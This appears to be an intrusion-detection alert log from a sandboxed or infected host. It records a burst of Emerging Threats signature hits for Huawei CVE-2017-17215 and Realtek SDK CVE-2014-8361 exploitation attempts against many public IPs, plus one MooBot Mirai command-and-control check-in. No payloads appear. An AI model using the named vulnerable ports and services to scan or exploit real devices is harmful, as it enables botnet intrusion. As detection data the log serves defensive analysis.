07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34648	37215	192.168.2.13	157.187.94.235
07/20/24-23:05:47.535438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38382	37215	192.168.2.13	41.187.161.26
07/20/24-23:05:52.265126	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47392	37215	192.168.2.13	41.15.234.67
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42144	37215	192.168.2.13	185.226.52.199
07/20/24-23:05:46.982455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41472	37215	192.168.2.13	163.241.212.180
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40382	37215	192.168.2.13	157.205.60.158
07/20/24-23:05:47.425240	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34076	52869	192.168.2.13	62.80.115.9
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33734	37215	192.168.2.13	121.224.21.158
07/20/24-23:05:51.426748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37412	52869	192.168.2.13	104.34.54.41
07/20/24-23:05:46.966276	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44808	37215	192.168.2.13	197.218.198.120
07/20/24-23:05:52.251312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60632	37215	192.168.2.13	157.138.236.184
07/20/24-23:05:51.428628	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59592	52869	192.168.2.13	107.96.10.112
07/20/24-23:05:46.970753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46890	37215	192.168.2.13	41.195.213.199
07/20/24-23:05:52.192507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35310	37215	192.168.2.13	197.77.186.66
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47838	37215	192.168.2.13	157.116.8.6
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50976	37215	192.168.2.13	157.255.153.187
07/20/24-23:05:52.311536	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56504	37215	192.168.2.13	197.174.220.162
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35742	37215	192.168.2.13	157.179.38.142
07/20/24-23:05:46.978421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39968	37215	192.168.2.13	157.231.8.243
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41692	37215	192.168.2.13	197.161.174.159
07/20/24-23:05:47.369590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41096	52869	192.168.2.13	78.233.207.44
07/20/24-23:05:56.930135	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51142	52869	192.168.2.13	51.210.97.246
07/20/24-23:05:54.852519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46548	52869	192.168.2.13	199.165.47.115
07/20/24-23:05:46.919504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56878	37215	192.168.2.13	111.53.163.147
07/20/24-23:05:51.421136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45692	52869	192.168.2.13	74.72.233.88
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49112	37215	192.168.2.13	53.15.204.183
07/20/24-23:05:46.976752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50592	37215	192.168.2.13	44.171.241.23
07/20/24-23:05:52.258489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55190	37215	192.168.2.13	9.76.18.143
07/20/24-23:05:56.811486	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33094	52869	192.168.2.13	172.199.244.133
07/20/24-23:05:47.533810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54930	37215	192.168.2.13	41.102.235.10
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49266	37215	192.168.2.13	41.139.230.183
07/20/24-23:05:47.533361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43072	37215	192.168.2.13	197.249.186.160
07/20/24-23:05:46.912775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56854	37215	192.168.2.13	41.247.83.121
07/20/24-23:05:46.919504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54004	37215	192.168.2.13	157.30.207.238
07/20/24-23:05:54.861468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32972	52869	192.168.2.13	31.243.118.35
07/20/24-23:05:54.702850	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54374	52869	192.168.2.13	80.0.23.33
07/20/24-23:05:52.184799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33354	37215	192.168.2.13	19.234.58.42
07/20/24-23:05:46.918113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40274	37215	192.168.2.13	157.27.189.109
07/20/24-23:05:46.971186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34934	37215	192.168.2.13	197.38.187.35
07/20/24-23:05:56.967216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41190	52869	192.168.2.13	70.169.229.113
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54376	37215	192.168.2.13	160.130.172.45
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58918	37215	192.168.2.13	37.234.99.161
07/20/24-23:05:47.533323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47720	37215	192.168.2.13	41.101.51.250
07/20/24-23:05:51.420131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37062	52869	192.168.2.13	142.17.9.107
07/20/24-23:05:46.390586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54564	52869	192.168.2.13	49.95.69.134
07/20/24-23:05:51.421493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60882	52869	192.168.2.13	92.253.193.163
07/20/24-23:05:54.849179	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39222	52869	192.168.2.13	83.110.174.139
07/20/24-23:05:46.570241	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52694	52869	192.168.2.13	69.105.43.224
07/20/24-23:05:52.269606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59118	37215	192.168.2.13	157.199.118.155
07/20/24-23:05:46.976751	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51204	37215	192.168.2.13	157.136.196.45
07/20/24-23:05:51.461470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51670	52869	192.168.2.13	136.117.93.58
07/20/24-23:05:46.923415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59052	37215	192.168.2.13	136.107.92.11
07/20/24-23:05:47.435150	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34854	52869	192.168.2.13	138.132.215.240
07/20/24-23:05:46.978420	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58920	37215	192.168.2.13	157.120.68.241
07/20/24-23:05:51.461470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43586	52869	192.168.2.13	93.187.137.171
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35116	37215	192.168.2.13	137.106.194.233
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34304	37215	192.168.2.13	41.151.6.113
07/20/24-23:05:52.261192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32970	37215	192.168.2.13	193.225.90.79
07/20/24-23:05:46.782475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59228	52869	192.168.2.13	136.24.70.56
07/20/24-23:05:47.534849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52920	37215	192.168.2.13	41.18.75.134
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45586	37215	192.168.2.13	197.217.214.94
07/20/24-23:05:52.265126	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40048	37215	192.168.2.13	157.208.62.251
07/20/24-23:05:56.811486	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33094	52869	192.168.2.13	172.199.244.133
07/20/24-23:05:46.975762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58996	37215	192.168.2.13	197.153.119.252
07/20/24-23:05:46.982455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37948	37215	192.168.2.13	41.199.11.194
07/20/24-23:05:52.297846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60632	37215	192.168.2.13	197.90.99.192
07/20/24-23:05:54.861468	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32972	52869	192.168.2.13	31.243.118.35
07/20/24-23:05:46.922964	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60092	37215	192.168.2.13	197.164.234.103
07/20/24-23:05:46.971186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59214	37215	192.168.2.13	186.151.11.189
07/20/24-23:05:51.426748	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59352	52869	192.168.2.13	46.81.190.204
07/20/24-23:05:46.402022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34368	52869	192.168.2.13	73.83.129.52
07/20/24-23:05:51.418369	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50906	52869	192.168.2.13	131.82.186.16
07/20/24-23:05:51.431946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60584	52869	192.168.2.13	66.105.78.156
07/20/24-23:05:56.947922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58254	52869	192.168.2.13	169.161.129.199
07/20/24-23:05:46.383281	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51688	52869	192.168.2.13	121.40.224.141
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42098	37215	192.168.2.13	157.32.42.40
07/20/24-23:05:46.923415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38376	37215	192.168.2.13	157.135.46.253
07/20/24-23:05:54.702850	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54374	52869	192.168.2.13	80.0.23.33
07/20/24-23:05:46.912775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50448	37215	192.168.2.13	41.60.209.210
07/20/24-23:05:46.782475	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59228	52869	192.168.2.13	136.24.70.56
07/20/24-23:05:52.227948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42644	37215	192.168.2.13	4.63.192.169
07/20/24-23:05:46.971186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53842	37215	192.168.2.13	41.58.87.142
07/20/24-23:05:47.534459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54520	37215	192.168.2.13	197.46.239.156
07/20/24-23:05:46.986114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33476	37215	192.168.2.13	197.204.86.68
07/20/24-23:05:56.947922	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58254	52869	192.168.2.13	169.161.129.199
07/20/24-23:05:47.510743	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41664	52869	192.168.2.13	132.142.106.204
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38222	37215	192.168.2.13	41.135.182.144
07/20/24-23:05:46.378444	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46224	52869	192.168.2.13	39.125.186.30
07/20/24-23:05:46.961659	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54004	37215	192.168.2.13	41.5.59.32
07/20/24-23:05:49.918586	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	55944	2466	192.168.2.13	15.235.203.214
07/20/24-23:05:56.976613	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36600	52869	192.168.2.13	2.142.69.163
07/20/24-23:05:51.441209	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59938	52869	192.168.2.13	136.24.70.56
07/20/24-23:05:46.926640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50558	37215	192.168.2.13	41.251.158.242
07/20/24-23:05:46.922963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34222	37215	192.168.2.13	197.128.236.2
07/20/24-23:05:46.961659	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42230	37215	192.168.2.13	114.46.14.97
07/20/24-23:05:51.421877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56816	52869	192.168.2.13	79.205.6.73
07/20/24-23:05:46.402022	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34368	52869	192.168.2.13	73.83.129.52
07/20/24-23:05:52.192507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40168	37215	192.168.2.13	157.31.112.192
07/20/24-23:05:52.258489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46334	37215	192.168.2.13	41.173.158.111
07/20/24-23:05:46.804194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37580	52869	192.168.2.13	149.223.236.152
07/20/24-23:05:52.184799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47816	37215	192.168.2.13	41.130.210.47
07/20/24-23:05:46.383281	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51688	52869	192.168.2.13	121.40.224.141
07/20/24-23:05:52.192507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35002	37215	192.168.2.13	41.179.131.198
07/20/24-23:05:46.926640	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42496	37215	192.168.2.13	157.76.12.119
07/20/24-23:05:52.251312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37342	37215	192.168.2.13	41.99.124.156
07/20/24-23:05:51.420131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52426	52869	192.168.2.13	121.40.224.141
07/20/24-23:05:46.970753	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37062	37215	192.168.2.13	197.17.54.113
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43256	37215	192.168.2.13	41.210.143.52
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53498	37215	192.168.2.13	197.183.204.53
07/20/24-23:05:46.970753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34694	37215	192.168.2.13	157.221.20.7
07/20/24-23:05:51.427522	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39632	52869	192.168.2.13	185.61.229.112
07/20/24-23:05:46.551067	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49270	52869	192.168.2.13	116.152.21.19
07/20/24-23:05:47.524293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36832	52869	192.168.2.13	104.34.54.41
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41452	37215	192.168.2.13	99.239.249.88
07/20/24-23:05:46.981573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46640	37215	192.168.2.13	41.190.71.241
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39486	37215	192.168.2.13	105.53.62.168
07/20/24-23:05:54.841414	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42524	52869	192.168.2.13	31.131.38.148
07/20/24-23:05:47.534849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47602	37215	192.168.2.13	197.248.194.40
07/20/24-23:05:52.258489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47662	37215	192.168.2.13	123.45.206.155
07/20/24-23:05:51.461470	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43868	52869	192.168.2.13	213.105.255.191
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43786	37215	192.168.2.13	41.149.199.138
07/20/24-23:05:46.378444	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46224	52869	192.168.2.13	39.125.186.30
07/20/24-23:05:52.227948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54242	37215	192.168.2.13	41.101.4.186
07/20/24-23:05:46.789697	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49348	52869	192.168.2.13	102.46.199.20
07/20/24-23:05:52.311536	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51044	37215	192.168.2.13	197.107.121.109
07/20/24-23:05:46.804194	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37580	52869	192.168.2.13	149.223.236.152
07/20/24-23:05:46.915618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48028	37215	192.168.2.13	52.192.132.102
07/20/24-23:05:52.269606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42908	37215	192.168.2.13	14.98.48.248
07/20/24-23:05:54.786264	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54002	52869	192.168.2.13	2.254.27.142
07/20/24-23:05:52.179209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38096	37215	192.168.2.13	41.167.41.252
07/20/24-23:05:52.256968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60644	37215	192.168.2.13	211.210.77.207
07/20/24-23:05:46.915618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42962	37215	192.168.2.13	197.151.5.99
07/20/24-23:05:46.918113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43666	37215	192.168.2.13	157.16.82.82
07/20/24-23:05:51.427522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39632	52869	192.168.2.13	185.61.229.112
07/20/24-23:05:47.376869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55328	52869	192.168.2.13	105.38.165.57
07/20/24-23:05:46.907723	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48936	37215	192.168.2.13	12.193.234.170
07/20/24-23:05:47.515143	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48552	52869	192.168.2.13	205.216.169.243
07/20/24-23:05:46.918114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34876	37215	192.168.2.13	41.173.78.130
07/20/24-23:05:47.457457	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55022	52869	192.168.2.13	152.36.106.192
07/20/24-23:05:51.421136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41794	52869	192.168.2.13	78.233.207.44
07/20/24-23:05:52.192507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46004	37215	192.168.2.13	157.89.46.226
07/20/24-23:05:52.227948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41092	37215	192.168.2.13	105.121.201.134
07/20/24-23:05:54.797953	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42868	52869	192.168.2.13	66.55.166.211
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53684	37215	192.168.2.13	14.71.252.128
07/20/24-23:05:46.976752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36052	37215	192.168.2.13	197.212.97.34
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47908	37215	192.168.2.13	41.227.128.193
07/20/24-23:05:47.534849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33426	37215	192.168.2.13	157.250.31.164
07/20/24-23:05:56.901109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59220	52869	192.168.2.13	142.15.8.195
07/20/24-23:05:47.435150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34854	52869	192.168.2.13	138.132.215.240
07/20/24-23:05:46.919504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39584	37215	192.168.2.13	197.183.255.235
07/20/24-23:05:46.922963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44620	37215	192.168.2.13	121.95.140.123
07/20/24-23:05:51.421493	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39522	52869	192.168.2.13	144.242.91.152
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43500	37215	192.168.2.13	197.190.1.154
07/20/24-23:05:51.461470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43868	52869	192.168.2.13	213.105.255.191
07/20/24-23:05:54.873671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60450	52869	192.168.2.13	35.16.104.164
07/20/24-23:05:46.961659	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43454	37215	192.168.2.13	32.90.4.32
07/20/24-23:05:46.919504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39112	37215	192.168.2.13	157.19.78.216
07/20/24-23:05:51.420040	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42262	52869	192.168.2.13	132.142.106.204
07/20/24-23:05:46.973669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58152	37215	192.168.2.13	111.65.179.96
07/20/24-23:05:54.786264	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54002	52869	192.168.2.13	2.254.27.142
07/20/24-23:05:46.912775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34156	37215	192.168.2.13	157.147.59.60
07/20/24-23:05:47.337367	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38498	52869	192.168.2.13	101.73.4.16
07/20/24-23:05:47.533810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36226	37215	192.168.2.13	197.221.35.92
07/20/24-23:05:51.418349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43908	52869	192.168.2.13	36.180.172.129
07/20/24-23:05:46.981573	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45560	37215	192.168.2.13	145.164.204.137
07/20/24-23:05:52.311537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56866	37215	192.168.2.13	197.90.91.61
07/20/24-23:05:46.978420	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57202	37215	192.168.2.13	197.248.18.125
07/20/24-23:05:46.907723	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39096	37215	192.168.2.13	206.65.197.101
07/20/24-23:05:54.797953	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42868	52869	192.168.2.13	66.55.166.211
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55824	37215	192.168.2.13	191.78.129.32
07/20/24-23:05:46.918113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54418	37215	192.168.2.13	41.189.155.19
07/20/24-23:05:51.418855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42658	52869	192.168.2.13	8.26.166.115
07/20/24-23:05:47.519320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54398	52869	192.168.2.13	97.127.217.219
